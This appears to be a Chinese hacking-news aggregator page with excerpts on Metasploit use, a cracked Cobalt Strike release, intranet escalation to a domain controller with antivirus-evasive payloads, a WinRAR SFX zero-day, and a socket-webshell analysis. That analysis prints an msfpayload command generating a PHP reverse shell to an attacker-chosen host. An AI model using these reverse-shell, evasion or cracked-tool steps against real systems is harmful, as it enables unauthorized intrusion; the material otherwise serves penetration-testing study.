记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华Metasploit Framework详解
Metasploit介绍
几乎每一个玩渗透的人都会接触到Metasploit Framework，简称msf。这是一个渗透测试框架，用ruby语言写的，该框架集成了很多可用的exploit，比如著名的ms08_067等。你可以在这个框架下进行一系列的渗透测试，利用现有的Payload，如Meterpreter等进一步拿取对方的shell。下载的地址在github上面，Git clone该项目到本地进行安装即可。
常用工具介绍
msfconsole
这是启动msf的终端命令，注意因为现在msf默认的数据库是postgresql，所以在启动msf之前需要先启动postgresql数据库。
在终端中输入msfconsole即可启动msf，如果不清楚msfconsole的功能可以在终端中输入
msfconsole -h
Cobalt Strike v3.5.1 20161003 Cracked 无弹窗提示（远程执行修复）
前言
Armitage是一款Java写的Metasploit图形界面的渗透测试软件，可以用它结合Metasploit已知的exploit来针对存在的漏洞自动化攻击。bt5、kali LINX下集成免费版本阿米蒂奇，Cobaltstrike是它的商业版本，乃们懂得，图形界面非常友好，一键傻瓜化使用MSF高级功能，自动渗透测试。而Cobalt Strike 3.0后的版本已经不再使用Metasploit框架而作为一个独立的平台使用。
更新内容
3 Oct 16 – Cobalt Strike 3.5.1
——–
This release implements measures to harden Cobalt Strike against malicious
发布时间:2016-10-20 23:30 |
阅读:251962 | 评论:0 |
标签:工具 Armitage Cobalt strike Cobalt Strike破解版 metasploit msf 自动
一次完整的从webshell到域控的探索之路
前言
内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何，但是对于我等小菜一直是云里雾里。
于是使用什么样的工具才内网才能畅通无阻，成了大家一直以来的渴求。
今天小菜我本着所有师傅们无私分享的精神，特将三年内求师傅，求妹子，求神器所得，经过整理后，关键的知识点写出来。
相关知识点总结如下：
免杀 payload 的生成，请使用 Veil
msf 在 meterpreter 下的提权尝试
msf 在 meterpreter 下的 bypassuac 尝试
内网渗透测试过程中的信息关联
meterpreter 的路由添加以及相关扫描
Powershell 在 meterpreter 下面的使用
Meterpreter 的 post 模块使用
Msf 的 custom 自己生成的 payload 的使用
进
WinRAR 0day漏洞 附利用过程
英国安全机构Mohammad Reza Espargham的漏洞实验室发现，流行压缩工具WinRAR 5.21最新版里存在一个安全漏洞，目前该漏洞还属于零日漏洞，同时官方正在全力修补该漏洞。同时报告该问题的还有Malwarebytes的Pieter Arntz。英国安全机构Mohammad Reza Espargham的漏洞实验室同时发现当用户打开SFX文件时，攻击者可利用该漏洞远程执行恶意代码。WinRAR是一个用于压缩和解压缩的应用程序，有超过5亿的设备正在使用同时也是最受欢迎的实用程序之一。因此发现该漏洞时被定性为“高危级”，危险指数9。攻击者可以利用该漏洞，创建自解压文件同时将恶意HTML代码插入到创建新SFX文件的文字显示窗口中。利用该漏洞之前攻击者并不需要任何提权措施。在给受害
利用metasploit进行信息收集
在进行信息收集的时候，我们既要全面详细的获取目标的信息，又要尽量隐藏自己不被发现。Metasploit作为一个非常全面的渗透工具，用来收集信息也非常好用。本文会详细的介绍如何利用Metasploit进行信息收集。信息收集分为主动和被动两种方式。被动信息收集被动信息收集是指在不直接接触没目标系统的情况下寻找信息。比如，通过搜索引擎等方式可以获得目标的操作系统，开放的端口，web服务器软件等信息。主动信息收集主动信息收集中，我们可以直接和系统交互，从而获得更多的信息。比如通过扫描目标系统开放的端口来确定对方开放的服务。每一个开放的服务都可能给我们提供了入侵的机会。需要注意的是，主动的信息收集很可能被IDS和IPS抓住踪迹。启动msfconsole首先启动数据库service postgre
Metasploit之使用socket通信的webshell简单分析
感谢y3p投递0×01 前言 常规的webshell都是调用该语言中习惯函数来完成读取、执行等操作,从协议上来讲是采用http/https协议。但是和服务器通信还有另外一种方式：socket通信。 常见的脚本语言asp,php,jsp,都可以实现对应的socket编程。例如使用msf中： msfpayload php/reverse_php LHOST=自己的IP LPORT=端口 R > sha1.php生成的php_webshell： #<?phperror_reporting(0);# The payload handler overwrites this with the correct LHOST before
公告
关注公众号hackdig，学习最新黑客技术